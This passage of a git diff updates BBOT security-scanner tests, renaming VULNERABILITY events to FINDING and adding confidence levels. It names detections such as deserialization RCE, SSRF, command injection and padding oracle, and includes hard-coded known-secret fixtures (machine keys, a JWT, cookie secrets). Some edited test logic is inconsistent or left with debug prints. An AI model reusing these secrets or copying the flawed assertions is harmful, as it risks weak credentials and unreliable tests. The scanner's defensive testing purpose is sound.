dummy=True + {"host": "192.168.1.1", "severity": "iNformational ", "confidence": "HIGH", "description": "asdf"}, + "FINDING", + dummy=True, ) - assert json.loads(test_vuln2.data_human)["severity"] == "INFO" + assert json.loads(test_vuln2.data_human)["severity"] == "INFORMATIONAL" assert test_vuln2.host.is_private with pytest.raises(ValidationError, match=".*validation error.*\nseverity\n.*Field required.*"): - test_vuln = scan.make_event({"host": "evilcorp.com", "description": "asdf"}, "VULNERABILITY", dummy=True) + test_vuln = scan.make_event({"host": "evilcorp.com", "description": "asdf"}, "FINDING", dummy=True) with pytest.raises(ValidationError, match=".*host.*\n.*Invalid host.*"): test_vuln = scan.make_event( - {"host": "!@#$", "severity": "INFO", "description": "asdf"}, "VULNERABILITY", dummy=True + {"host": "!@#$", "severity": "INFO", "confidence": "HIGH", "description": "asdf"}, "FINDING", dummy=True ) with pytest.raises(ValidationError, match=".*severity.*\n.*Invalid severity.*"): test_vuln = scan.make_event( - {"host": "evilcorp.com", "severity": "WACK", "description": "asdf"}, "VULNERABILITY", dummy=True + {"host": "evilcorp.com", "severity": "WACK", "confidence": "HIGH", "description": "asdf"}, + "FINDING", + dummy=True, ) # test tagging @@ -917,13 +923,15 @@ def test_event_closest_host(): event3 = scan.make_event({"path": "/tmp/asdf.txt"}, "FILESYSTEM", parent=event2) assert not event3.host # finding automatically uses the host from the second event - finding = scan.make_event({"description": "test"}, "FINDING", parent=event3) + finding = scan.make_event( + {"description": "test", "severity": "LOW", "confidence": "MODERATE"}, "FINDING", parent=event3 + ) assert finding.data["host"] == "www.evilcorp.com" assert finding.data["url"] == "http://www.evilcorp.com/asdf" assert finding.data["path"] == "/tmp/asdf.txt" assert finding.host == "www.evilcorp.com" # same with vuln - vuln = scan.make_event({"description": "test", "severity": "HIGH"}, "VULNERABILITY", parent=event3) + vuln = scan.make_event({"description": "test", "severity": "HIGH", "confidence": "HIGH"}, "FINDING", parent=event3) assert vuln.data["host"] == "www.evilcorp.com" assert vuln.data["url"] == "http://www.evilcorp.com/asdf" assert vuln.data["path"] == "/tmp/asdf.txt" @@ -933,19 +941,35 @@ def test_event_closest_host(): event3 = scan.make_event("wat", "ASDF", parent=scan.root_event) assert not event3.host with pytest.raises(ValueError): - finding = scan.make_event({"description": "test"}, "FINDING", parent=event3) - finding = scan.make_event({"path": "/tmp/asdf.txt", "description": "test"}, "FINDING", parent=event3) + finding = scan.make_event( + {"description": "test", "severity": "LOW", "confidence": "MODERATE"}, "FINDING", parent=event3 + ) + finding = scan.make_event( + {"path": "/tmp/asdf.txt", "description": "test", "severity": "LOW", "confidence": "MODERATE"}, + "FINDING", + parent=event3, + ) assert finding is not None - finding = scan.make_event({"host": "evilcorp.com", "description": "test"}, "FINDING", parent=event3) + finding = scan.make_event( + {"host": "evilcorp.com", "description": "test", "severity": "LOW", "confidence": "MODERATE"}, + "FINDING", + parent=event3, + ) assert finding is not None with pytest.raises(ValueError): - vuln = scan.make_event({"description": "test", "severity": "HIGH"}, "VULNERABILITY", parent=event3) + vuln = scan.make_event( + {"description": "test", "severity": "HIGH", "confidence": "CONFIRMED"}, "FINDING", parent=event3 + ) vuln = scan.make_event( - {"path": "/tmp/asdf.txt", "description": "test", "severity": "HIGH"}, "VULNERABILITY", parent=event3 + {"path": "/tmp/asdf.txt", "description": "test", "severity": "HIGH", "confidence": "CONFIRMED"}, + "FINDING", + parent=event3, ) assert vuln is not None vuln = scan.make_event( - {"host": "evilcorp.com", "description": "test", "severity": "HIGH"}, "VULNERABILITY", parent=event3 + {"host": "evilcorp.com", "description": "test", "severity": "HIGH", "confidence": "CONFIRMED"}, + "FINDING", + parent=event3, ) assert vuln is not None @@ -1035,21 +1059,31 @@ def test_event_hashing(): url_event = scan.make_event("https://api.example.com/", "URL_UNVERIFIED", parent=scan.root_event) host_event_1 = scan.make_event("www.example.com", "DNS_NAME", parent=url_event) host_event_2 = scan.make_event("test.example.com", "DNS_NAME", parent=url_event) - finding_data = {"description": "Custom Yara Rule [find_string] Matched via identifier [str1]"} + finding_data = { + "description": "Custom Yara Rule [find_string] Matched via identifier [str1]", + "severity": "MEDIUM", + "confidence": "HIGH", + } finding1 = scan.make_event(finding_data, "FINDING", parent=host_event_1) finding2 = scan.make_event(finding_data, "FINDING", parent=host_event_2) finding3 = scan.make_event(finding_data, "FINDING", parent=host_event_2) assert finding1.data == { "description": "Custom Yara Rule [find_string] Matched via identifier [str1]", + "severity": "MEDIUM", + "confidence": "HIGH", "host": "www.example.com", } assert finding2.data == { "description": "Custom Yara Rule [find_string] Matched via identifier [str1]", + "severity": "MEDIUM", + "confidence": "HIGH", "host": "test.example.com", } assert finding3.data == { "description": "Custom Yara Rule [find_string] Matched via identifier [str1]", + "severity": "MEDIUM", + "confidence": "HIGH", "host": "test.example.com", } assert finding1.id != finding2.id diff --git a/bbot/test/test_step_1/test_helpers.py b/bbot/test/test_step_1/test_helpers.py index 2c6488cb14..2800ea4846 100644 --- a/bbot/test/test_step_1/test_helpers.py +++ b/bbot/test/test_step_1/test_helpers.py @@ -443,8 +443,8 @@ async def test_helpers_misc(helpers, scan, bbot_scanner, bbot_httpserver): with pytest.raises(ValueError): helpers.validators.validate_url("!@#$") # severities - assert helpers.validators.validate_severity(" iNfo") == "INFO" - assert helpers.validators.soft_validate(" iNfo", "severity") is True + assert helpers.validators.validate_severity(" iNformational") == "INFORMATIONAL" + assert helpers.validators.soft_validate(" iNformational", "severity") is True assert helpers.validators.soft_validate("NOPE", "severity") is False with pytest.raises(ValueError): helpers.validators.validate_severity("NOPE") diff --git a/bbot/test/test_step_1/test_manager_scope_accuracy.py b/bbot/test/test_step_1/test_manager_scope_accuracy.py index f012b0e3e0..3931168361 100644 --- a/bbot/test/test_step_1/test_manager_scope_accuracy.py +++ b/bbot/test/test_step_1/test_manager_scope_accuracy.py @@ -268,7 +268,7 @@ async def filter_event(self, event): async def handle_event(self, event): await self.emit_event( - {"host": str(event.host), "description": "yep", "severity": "CRITICAL"}, "VULNERABILITY", parent=event + {"host": str(event.host), "description": "yep", "severity": "CRITICAL", "confidence": "CONFIRMED"}, "FINDING", parent=event ) def custom_setup(scan): @@ -288,21 +288,21 @@ def custom_setup(scan): assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.66" and e.internal is False and e.scope_distance == 1]) assert 0 == len([e for e in events if e.type == "DNS_NAME" and e.data == "test.notrealzies"]) assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77"]) - assert 1 == len([e for e in events if e.type == "VULNERABILITY" and e.data["host"] == "127.0.0.77" and e.internal is False and e.scope_distance == 3]) + assert 1 == len([e for e in events if e.type == "FINDING" and e.data["host"] == "127.0.0.77" and e.internal is False and e.scope_distance == 3]) assert len(all_events) == 8 assert 1 == len([e for e in all_events if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0]) assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.66" and e.internal is False and e.scope_distance == 1]) assert 2 == len([e for e in all_events if e.type == "DNS_NAME" and e.data == "test.notrealzies" and e.internal is True and e.scope_distance == 2]) assert 2 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is True and e.scope_distance == 3]) - assert 1 == len([e for e in all_events if e.type == "VULNERABILITY" and e.data["host"] == "127.0.0.77" and e.internal is False and e.scope_distance == 3]) + assert 1 == len([e for e in all_events if e.type == "FINDING" and e.data["host"] == "127.0.0.77" and e.internal is False and e.scope_distance == 3]) assert len(all_events_nodups) == 6 assert 1 == len([e for e in all_events_nodups if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0]) assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.66" and e.internal is False and e.scope_distance == 1]) assert 1 == len([e for e in all_events_nodups if e.type == "DNS_NAME" and e.data == "test.notrealzies" and e.internal is True and e.scope_distance == 2]) assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is True and e.scope_distance == 3]) - assert 1 == len([e for e in all_events_nodups if e.type == "VULNERABILITY" and e.data["host"] == "127.0.0.77" and e.internal is False and e.scope_distance == 3]) + assert 1 == len([e for e in all_events_nodups if e.type == "FINDING" and e.data["host"] == "127.0.0.77" and e.internal is False and e.scope_distance == 3]) for _graph_output_events in (graph_output_events, graph_output_batch_events): assert len(_graph_output_events) == 7 @@ -310,7 +310,7 @@ def custom_setup(scan): assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.66" and e.internal is False and e.scope_distance == 1]) assert 1 == len([e for e in _graph_output_events if e.type == "DNS_NAME" and e.data == "test.notrealzies" and e.internal is True and e.scope_distance == 2]) assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is True and e.scope_distance == 3]) - assert 1 == len([e for e in _graph_output_events if e.type == "VULNERABILITY" and e.data["host"] == "127.0.0.77" and e.internal is False and e.scope_distance == 3]) + assert 1 == len([e for e in _graph_output_events if e.type == "FINDING" and e.data["host"] == "127.0.0.77" and e.internal is False and e.scope_distance == 3]) # httpx/speculate IP_RANGE --> IP_ADDRESS --> OPEN_TCP_PORT --> URL, search distance = 0 events, all_events, all_events_nodups, graph_output_events, graph_output_batch_events = await do_scan( diff --git a/bbot/test/test_step_1/test_presets.py b/bbot/test/test_step_1/test_presets.py index 744b108dd3..e1594f8e8a 100644 --- a/bbot/test/test_step_1/test_presets.py +++ b/bbot/test/test_step_1/test_presets.py @@ -585,7 +585,7 @@ async def test_preset_module_loader(): class TestModule1(BaseModule): watched_events = ["URL", "HTTP_RESPONSE"] - produced_events = ["VULNERABILITY"] + produced_events = ["FINDING"] """ ) diff --git a/bbot/test/test_step_2/module_tests/test_module_ajaxpro.py b/bbot/test/test_step_2/module_tests/test_module_ajaxpro.py index b917de42ca..7cbbbb783c 100644 --- a/bbot/test/test_step_2/module_tests/test_module_ajaxpro.py +++ b/bbot/test/test_step_2/module_tests/test_module_ajaxpro.py @@ -35,7 +35,7 @@ def check(self, module_test, events): for e in events: if ( - e.type == "VULNERABILITY" + e.type == "FINDING" and "Ajaxpro Deserialization RCE (CVE-2021-23758)" in e.data["description"] and "http://127.0.0.1:8888/ajaxpro/AjaxPro.Services.ICartService,AjaxPro.2.ashx" in e.data["description"] diff --git a/bbot/test/test_step_2/module_tests/test_module_aspnet_bin_exposure.py b/bbot/test/test_step_2/module_tests/test_module_aspnet_bin_exposure.py index ca14ff7d03..f86578ebac 100644 --- a/bbot/test/test_step_2/module_tests/test_module_aspnet_bin_exposure.py +++ b/bbot/test/test_step_2/module_tests/test_module_aspnet_bin_exposure.py @@ -62,12 +62,12 @@ async def setup_before_prep(self, module_test): module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args) def check(self, module_test, events): - vulnerability_found = False + finding_found = False for e in events: - if e.type == "VULNERABILITY" and "IIS Bin Directory DLL Exposure" in e.data["description"]: - vulnerability_found = True + if e.type == "FINDING" and "IIS Bin Directory DLL Exposure" in e.data["description"]: + finding_found = True assert e.data["severity"] == "HIGH", "Vulnerability severity should be HIGH" assert "Detection Url" in e.data["description"], "Description should include detection URL" break - assert vulnerability_found, "No vulnerability event was found" + assert finding_found, "No finding event was found" diff --git a/bbot/test/test_step_2/module_tests/test_module_baddns.py b/bbot/test/test_step_2/module_tests/test_module_baddns.py index 877e973b2b..2d5d476d05 100644 --- a/bbot/test/test_step_2/module_tests/test_module_baddns.py +++ b/bbot/test/test_step_2/module_tests/test_module_baddns.py @@ -32,7 +32,7 @@ async def setup_after_prep(self, module_test): def check(self, module_test, events): assert any(e.data == "baddns.azurewebsites.net" for e in events), "CNAME detection failed" - assert any(e.type == "VULNERABILITY" for e in events), "Failed to emit VULNERABILITY" + assert any(e.type == "FINDING" for e in events), "Failed to emit FINDING" assert any("baddns-cname" in e.tags for e in events), "Failed to add baddns tag" @@ -61,7 +61,7 @@ def set_target(self, target): def check(self, module_test, events): assert any(e for e in events) - assert any(e.type == "VULNERABILITY" and "bigcartel.com" in e.data["description"] for e in events), ( - "Failed to emit VULNERABILITY" + assert any(e.type == "FINDING" and "bigcartel.com" in e.data["description"] for e in events), ( + "Failed to emit FINDING" ) assert any("baddns-cname" in e.tags for e in events), "Failed to add baddns tag" diff --git a/bbot/test/test_step_2/module_tests/test_module_baddns_zone.py b/bbot/test/test_step_2/module_tests/test_module_baddns_zone.py index d8138a3f7c..10da342217 100644 --- a/bbot/test/test_step_2/module_tests/test_module_baddns_zone.py +++ b/bbot/test/test_step_2/module_tests/test_module_baddns_zone.py @@ -38,7 +38,7 @@ def from_xfr(*args, **kwargs): def check(self, module_test, events): assert any(e.data == "zzzz.bad.dns" for e in events), "Zone transfer failed (1)" assert any(e.data == "asdf.bad.dns" for e in events), "Zone transfer failed (2)" - assert any(e.type == "VULNERABILITY" for e in events), "Failed to emit VULNERABILITY" + assert any(e.type == "FINDING" for e in events), "Failed to emit FINDING" assert any("baddns-zonetransfer" in e.tags for e in events), "Failed to add baddns tag" @@ -58,5 +58,5 @@ async def setup_after_prep(self, module_test): def check(self, module_test, events): assert any(e.data == "zzzz.bad.dns" for e in events), "NSEC Walk Failed (1)" assert any(e.data == "xyz.bad.dns" for e in events), "NSEC Walk Failed (2)" - assert any(e.type == "VULNERABILITY" for e in events), "Failed to emit VULNERABILITY" + assert any(e.type == "FINDING" for e in events), "Failed to emit FINDING" assert any("baddns-nsec" in e.tags for e in events), "Failed to add baddns tag" diff --git a/bbot/test/test_step_2/module_tests/test_module_badsecrets.py b/bbot/test/test_step_2/module_tests/test_module_badsecrets.py index 9eda654eb6..60c26bd7ed 100644 --- a/bbot/test/test_step_2/module_tests/test_module_badsecrets.py +++ b/bbot/test/test_step_2/module_tests/test_module_badsecrets.py @@ -79,7 +79,7 @@ def check(self, module_test, events): for e in events: if ( - e.type == "VULNERABILITY" + e.type == "FINDING" and "Known Secret Found." in e.data["description"] and "validationKey: 0F97BAE23F6F36801ABDB5F145124E00A6F795A97093D778EE5CD24F35B78B6FC4C0D0D4420657689C4F321F8596B59E83F02E296E970C4DEAD2DFE226294979 validationAlgo: SHA1 encryptionKey: 8CCFBC5B7589DD37DC3B4A885376D7480A69645DAEEC74F418B4877BEC008156 encryptionAlgo: AES" in e.data["description"] @@ -94,7 +94,7 @@ def check(self, module_test, events): IdentifyOnly = True if ( - e.type == "VULNERABILITY" + e.type == "FINDING" and "1234" in e.data["description"] and "eyJhbGciOiJIUzI1NiJ9.eyJJc3N1ZXIiOiJJc3N1ZXIiLCJVc2VybmFtZSI6IkJhZFNlY3JldHMiLCJleHAiOjE1OTMxMzM0ODMsImlhdCI6MTQ2NjkwMzA4M30.ovqRikAo_0kKJ0GVrAwQlezymxrLGjcEiW_s3UJMMCo" in e.data["description"] @@ -102,7 +102,7 @@ def check(self, module_test, events): CookieBasedDetection = True if ( - e.type == "VULNERABILITY" + e.type == "FINDING" and "keyboard cat" in e.data["description"] and "s%3A8FnPwdeM9kdGTZlWvdaVtQ0S1BCOhY5G.qys7H2oGSLLdRsEq7sqh7btOohHsaRKqyjV4LiVnBvc" in e.data["description"] @@ -110,7 +110,7 @@ def check(self, module_test, events): CookieBasedDetection_2 = True if ( - e.type == "VULNERABILITY" + e.type == "FINDING" and "Express.js Secret (cookie-session)" in e.data["description"] and "zOQU7v7aTe_3zu7tnVuHi1MJ2DU" in e.data["description"] ): @@ -122,6 +122,15 @@ def check(self, module_test, events): assert CookieBasedDetection_2, "No Express.js cookie vuln detected" assert CookieBasedDetection_3, "No Express.js (cs dual cookies) vuln detected" + # Verify that badsecrets emits CONFIRMED confidence for detected secrets + confirmed_finding = None + for e in events: + if e.type == "FINDING" and "Known Secret Found." in e.data["description"]: + confirmed_finding = e + break + if confirmed_finding: + assert confirmed_finding.data["confidence"] == "CONFIRMED" + class TestBadSecrets_customsecrets(TestBadSecrets): config_overrides = { @@ -156,7 +165,7 @@ def check(self, module_test, events): SecretFound = False for e in events: if ( - e.type == "VULNERABILITY" + e.type == "FINDING" and "Known Secret Found." in e.data["description"] and "DEADBEEFDEADBEEFDEADBEEFDEADBEEFDEADBEEFDEADBEEFDEADBEEFDEADBEEF" in e.data["description"] ): diff --git a/bbot/test/test_step_2/module_tests/test_module_discord.py b/bbot/test/test_step_2/module_tests/test_module_discord.py index d1aeb5c60f..78cafc1744 100644 --- a/bbot/test/test_step_2/module_tests/test_module_discord.py +++ b/bbot/test/test_step_2/module_tests/test_module_discord.py @@ -34,8 +34,6 @@ def custom_response(request: httpx.Request): module_test.httpx_mock.add_callback(custom_response, url=self.webhook_url) def check(self, module_test, events): - vulns = [e for e in events if e.type == "VULNERABILITY"] findings = [e for e in events if e.type == "FINDING"] - assert len(findings) == 1 - assert len(vulns) == 2 + assert len(findings) == 3 assert module_test.request_count == 4 diff --git a/bbot/test/test_step_2/module_tests/test_module_dotnetnuke.py b/bbot/test/test_step_2/module_tests/test_module_dotnetnuke.py index 8accc7c300..dcbc0cf0ac 100644 --- a/bbot/test/test_step_2/module_tests/test_module_dotnetnuke.py +++ b/bbot/test/test_step_2/module_tests/test_module_dotnetnuke.py @@ -95,26 +95,23 @@ def check(self, module_test, events): if e.type == "TECHNOLOGY" and "DotNetNuke" in e.data["technology"]: dnn_technology_detection = True - if ( - e.type == "VULNERABILITY" - and "DotNetNuke Personalization Cookie Deserialization" in e.data["description"] - ): + if e.type == "FINDING" and "DotNetNuke Personalization Cookie Deserialization" in e.data["description"]: dnn_personalization_deserialization_detection = True if ( - e.type == "VULNERABILITY" + e.type == "FINDING" and "DotNetNuke DNNArticle Module GetCSS.ashx Arbitrary File Read" in e.data["description"] ): dnn_getcss_fileread_detection = True if ( - e.type == "VULNERABILITY" + e.type == "FINDING" and "DotNetNuke dnnUI_NewsArticlesSlider Module Arbitrary File Read" in e.data["description"] ): dnn_imagehandler_fileread_detection = True if ( - e.type == "VULNERABILITY" + e.type == "FINDING" and "DotNetNuke InstallWizard SuperUser Privilege Escalation" in e.data["description"] ): dnn_installwizard_privesc_detection = True @@ -168,7 +165,7 @@ def check(self, module_test, events): if e.type == "TECHNOLOGY" and "DotNetNuke" in e.data["technology"]: dnn_technology_detection = True - if e.type == "VULNERABILITY" and "DotNetNuke Blind-SSRF (CVE 2017-0929)" in e.data["description"]: + if e.type == "FINDING" and "DotNetNuke Blind-SSRF (CVE 2017-0929)" in e.data["description"]: dnn_dnnimagehandler_blindssrf = True assert dnn_technology_detection, "DNN Technology Detection Failed" diff --git a/bbot/test/test_step_2/module_tests/test_module_excavate.py b/bbot/test/test_step_2/module_tests/test_module_excavate.py index b7542d3beb..4228e98bb3 100644 --- a/bbot/test/test_step_2/module_tests/test_module_excavate.py +++ b/bbot/test/test_step_2/module_tests/test_module_excavate.py @@ -11,7 +11,7 @@ class TestExcavate(ModuleTestBase): targets = ["http://127.0.0.1:8888/", "test.notreal", "http://127.0.0.1:8888/subdir/links.html"] modules_overrides = ["excavate", "httpx"] - config_overrides = {"web": {"spider_distance": 1, "spider_depth": 1}} + config_overrides = {"web": {"spider_distance": 1, "spider_depth": 1}, "omit_event_types": []} async def setup_before_prep(self, module_test): response_data = """ @@ -169,7 +169,7 @@ def check(self, module_test, events): class TestExcavateRedirect(TestExcavate): targets = ["http://127.0.0.1:8888/", "http://127.0.0.1:8888/relative/", "http://127.0.0.1:8888/nonhttpredirect/"] - config_overrides = {"scope": {"report_distance": 1}} + config_overrides = {"scope": {"report_distance": 1}, "omit_event_types": []} async def setup_before_prep(self, module_test): # absolute redirect @@ -236,7 +236,7 @@ def check(self, module_test, events): class TestExcavateQuerystringRemoveTrue(TestExcavate): targets = ["http://127.0.0.1:8888/"] - config_overrides = {"url_querystring_remove": True, "url_querystring_collapse": True} + config_overrides = {"url_querystring_remove": True, "url_querystring_collapse": True, "omit_event_types": []} lots_of_params = """ @@ -261,7 +261,7 @@ def check(self, module_test, events): class TestExcavateQuerystringRemoveFalse(TestExcavateQuerystringRemoveTrue): - config_overrides = {"url_querystring_remove": False, "url_querystring_collapse": True} + config_overrides = {"url_querystring_remove": False, "url_querystring_collapse": True, "omit_event_types": []} def check(self, module_test, events): assert ( @@ -277,7 +277,7 @@ def check(self, module_test, events): class TestExcavateQuerystringCollapseFalse(TestExcavateQuerystringRemoveTrue): - config_overrides = {"url_querystring_remove": False, "url_querystring_collapse": False} + config_overrides = {"url_querystring_remove": False, "url_querystring_collapse": False, "omit_event_types": []} def check(self, module_test, events): assert ( @@ -294,7 +294,7 @@ def check(self, module_test, events): class TestExcavateMaxLinksPerPage(TestExcavate): targets = ["http://127.0.0.1:8888/"] - config_overrides = {"web": {"spider_links_per_page": 10, "spider_distance": 1}} + config_overrides = {"web": {"spider_links_per_page": 10, "spider_distance": 1}, "omit_event_types": []} lots_of_links = """ @@ -1052,6 +1052,7 @@ async def handle_event(self, event): dummy_text = "spider" modules_overrides = ["excavate", "httpx"] targets = ["http://127.0.0.1:8888/"] + config_overrides = {"omit_event_types": []} async def setup_after_prep(self, module_test): self.dummy_module = self.DummyModule(module_test.scan) @@ -1227,6 +1228,7 @@ class TestExcavateRAWTEXT(ModuleTestBase): "modules": { "filedownload": {"output_folder": str(bbot_test_dir / "filedownload")}, }, + "omit_event_types": [], } pdf_data = r"""%PDF-1.3 @@ -1404,7 +1406,7 @@ def check(self, module_test, events): class TestExcavateBadURLs(ModuleTestBase): targets = ["http://127.0.0.1:8888/"] modules_overrides = ["excavate", "httpx", "hunt"] - config_overrides = {"interactsh_disable": True, "scope": {"report_distance": 10}} + config_overrides = {"interactsh_disable": True, "scope": {"report_distance": 10}, "omit_event_types": []} bad_url_data = """ Help diff --git a/bbot/test/test_step_2/module_tests/test_module_generic_ssrf.py b/bbot/test/test_step_2/module_tests/test_module_generic_ssrf.py index c0911fd661..c4b5e5f365 100644 --- a/bbot/test/test_step_2/module_tests/test_module_generic_ssrf.py +++ b/bbot/test/test_step_2/module_tests/test_module_generic_ssrf.py @@ -47,26 +47,30 @@ def check(self, module_test, events): total_findings = 0 for e in events: - if e.type == "VULNERABILITY": + if e.type == "FINDING": total_vulnerabilities += 1 elif e.type == "FINDING": total_findings += 1 - assert total_vulnerabilities == 30, "Incorrect number of vulnerabilities detected" - assert total_findings == 30, "Incorrect number of findings detected" + assert total_vulnerabilities == 60, "Incorrect number of findings detected" assert any( - e.type == "VULNERABILITY" + e.type == "FINDING" and "Out-of-band interaction: [Generic SSRF (GET)]" and "[Triggering Parameter: Dest]" in e.data["description"] for e in events ), "Failed to detect Generic SSRF (GET)" assert any( - e.type == "VULNERABILITY" and "Out-of-band interaction: [Generic SSRF (POST)]" in e.data["description"] + e.type == "FINDING" and "Out-of-band interaction: [Generic SSRF (POST)]" in e.data["description"] for e in events ), "Failed to detect Generic SSRF (POST)" + + # Check that HTTP interactions have CONFIRMED confidence + http_findings = [e for e in events if e.type == "FINDING" and "[HTTP]" in e.data["description"]] + if http_findings: + assert http_findings[0].data["confidence"] == "CONFIRMED" assert any( - e.type == "VULNERABILITY" and "Out-of-band interaction: [Generic XXE] [HTTP]" in e.data["description"] + e.type == "FINDING" and "Out-of-band interaction: [Generic XXE] [HTTP]" in e.data["description"] for e in events ), "Failed to detect Generic SSRF (XXE)" @@ -79,10 +83,8 @@ def check(self, module_test, events): total_findings = 0 for e in events: - if e.type == "VULNERABILITY": + if e.type == "FINDING": total_vulnerabilities += 1 - elif e.type == "FINDING": - total_findings += 1 assert total_vulnerabilities == 30, "Incorrect number of vulnerabilities detected" assert total_findings == 0, "Incorrect number of findings detected" diff --git a/bbot/test/test_step_2/module_tests/test_module_hunt.py b/bbot/test/test_step_2/module_tests/test_module_hunt.py index 867a2565c6..87b3463c1f 100644 --- a/bbot/test/test_step_2/module_tests/test_module_hunt.py +++ b/bbot/test/test_step_2/module_tests/test_module_hunt.py @@ -14,12 +14,20 @@ async def setup_after_prep(self, module_test): module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args) def check(self, module_test, events): - assert any( - e.type == "FINDING" - and e.data["description"] - == "Found potentially interesting parameter. Name: [cipher] Parameter Type: [GETPARAM] Categories: [Insecure Cryptography] Original Value: [xor]" - for e in events - ) + finding_event = None + for e in events: + if ( + e.type == "FINDING" + and e.data["description"] + == "Found potentially interesting parameter. Name: [cipher] Parameter Type: [GETPARAM] Categories: [Insecure Cryptography] Original Value: [xor]" + ): + finding_event = e + break + + assert finding_event is not None + # Hunt emits INFORMATIONAL severity and LOW confidence + assert finding_event.data["severity"] == "INFORMATIONAL" + assert finding_event.data["confidence"] == "LOW" class TestHunt_Multiple(TestHunt): diff --git a/bbot/test/test_step_2/module_tests/test_module_iis_shortnames.py b/bbot/test/test_step_2/module_tests/test_module_iis_shortnames.py index 6ca827f56a..3bd5c721b1 100644 --- a/bbot/test/test_step_2/module_tests/test_module_iis_shortnames.py +++ b/bbot/test/test_step_2/module_tests/test_module_iis_shortnames.py @@ -90,17 +90,17 @@ async def setup_after_prep(self, module_test): module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args) def check(self, module_test, events): - vulnerabilityEmitted = False + magicurl_findingEmitted = False url_hintEmitted = False zip_findingEmitted = False for e in events: - if e.type == "VULNERABILITY" and "iis-magic-url" not in e.tags: - vulnerabilityEmitted = True + if e.type == "FINDING" and "iis-magic-url" not in e.tags: + magicurl_findingEmitted = True if e.type == "URL_HINT" and e.data == "http://127.0.0.1:8888/BLSHAX~1": url_hintEmitted = True if e.type == "FINDING" and "Possible backup file (zip) in web root" in e.data["description"]: zip_findingEmitted = True - assert vulnerabilityEmitted + assert magicurl_findingEmitted assert url_hintEmitted assert zip_findingEmitted diff --git a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py index d41c4cf0b0..799c13c7bd 100644 --- a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py +++ b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py @@ -1177,6 +1177,9 @@ def check(self, module_test, events): lightfuzz_serial_detect_errorresolution = False for e in events: + print("@@@@") + print(e.type) + print(e.data) if e.type == "WEB_PARAMETER": if e.data["name"] == "TextBox1": excavate_extracted_form_parameter = True @@ -1451,7 +1454,7 @@ def check(self, module_test, events): if "HTTP Extracted Parameter [search]" in e.data["description"]: web_parameter_emitted = True - if e.type == "VULNERABILITY": + if e.type == "FINDING": if ( "OS Command Injection (OOB Interaction) Type: [GETPARAM] Parameter Name: [search] Probe: [&&]" in e.data["description"] @@ -1678,8 +1681,6 @@ def check(self, module_test, events): == "Probable Cryptographic Parameter. Parameter: [encrypted_data] Parameter Type: [POSTPARAM] Original Value: [dplyorsu8VUriMW/8DqVDU6kRwL/FDk3Q%2B4GXVGZbo0CTh9YX1YvzZZJrYe4cHxvAICyliYtp1im4fWoOa54Zg%3D%3D] Detection Technique(s): [Single-byte Mutation] Envelopes: [URL-Encoded]" ): cryptographic_parameter_finding = True - - if e.type == "VULNERABILITY": if ( e.data["description"] == "Padding Oracle Vulnerability. Block size: [16] Parameter: [encrypted_data] Parameter Type: [POSTPARAM] Original Value: [dplyorsu8VUriMW/8DqVDU6kRwL/FDk3Q%2B4GXVGZbo0CTh9YX1YvzZZJrYe4cHxvAICyliYtp1im4fWoOa54Zg%3D%3D] Envelopes: [URL-Encoded]" diff --git a/bbot/test/test_step_2/module_tests/test_module_medusa.py b/bbot/test/test_step_2/module_tests/test_module_medusa.py index 52743ebd5c..773c6733b5 100644 --- a/bbot/test/test_step_2/module_tests/test_module_medusa.py +++ b/bbot/test/test_step_2/module_tests/test_module_medusa.py @@ -44,7 +44,9 @@ async def setup_after_prep(self, module_test): await module_test.module.emit_event(protocol_event) def check(self, module_test, events): - vuln_events = [e for e in events if e.type == "VULNERABILITY"] + vuln_events = [e for e in events if e.type == "FINDING"] assert len(vuln_events) == 1 assert "VALID [SNMPV2C] CREDENTIALS FOUND: public [READ]" in vuln_events[0].data["description"] + assert vuln_events[0].data["severity"] == "CRITICAL" + assert vuln_events[0].data["confidence"] == "CONFIRMED" diff --git a/bbot/test/test_step_2/module_tests/test_module_nuclei.py b/bbot/test/test_step_2/module_tests/test_module_nuclei.py index 777ab84f16..51b5b340f9 100644 --- a/bbot/test/test_step_2/module_tests/test_module_nuclei.py +++ b/bbot/test/test_step_2/module_tests/test_module_nuclei.py @@ -53,8 +53,11 @@ def check(self, module_test, events): if e.type == "FINDING": if "Directory listing enabled" in e.data["description"]: first_run_detect = True + # Nuclei emits HIGH confidence for most findings + assert e.data["confidence"] == "HIGH" elif "Copyright" in e.data["description"]: second_run_detect = True + assert e.data["confidence"] == "HIGH" assert first_run_detect assert second_run_detect @@ -82,9 +85,7 @@ async def setup_after_prep(self, module_test): module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args) def check(self, module_test, events): - assert any( - e.type == "VULNERABILITY" and "Generic Env File Disclosure" in e.data["description"] for e in events - ) + assert any(e.type == "FINDING" and "Generic Env File Disclosure" in e.data["description"] for e in events) class TestNucleiTechnology(TestNucleiManual): diff --git a/bbot/test/test_step_2/module_tests/test_module_teams.py b/bbot/test/test_step_2/module_tests/test_module_teams.py index 3f573dc21b..382201e51f 100644 --- a/bbot/test/test_step_2/module_tests/test_module_teams.py +++ b/bbot/test/test_step_2/module_tests/test_module_teams.py @@ -32,7 +32,7 @@ def custom_response(request: httpx.Request): module_test.httpx_mock.add_callback(custom_response, url=self.webhook_url) def check(self, module_test, events): - vulns = [e for e in events if e.type == "VULNERABILITY"] + vulns = [e for e in events if e.type == "FINDING"] findings = [e for e in events if e.type == "FINDING"] assert len(findings) == 1 assert 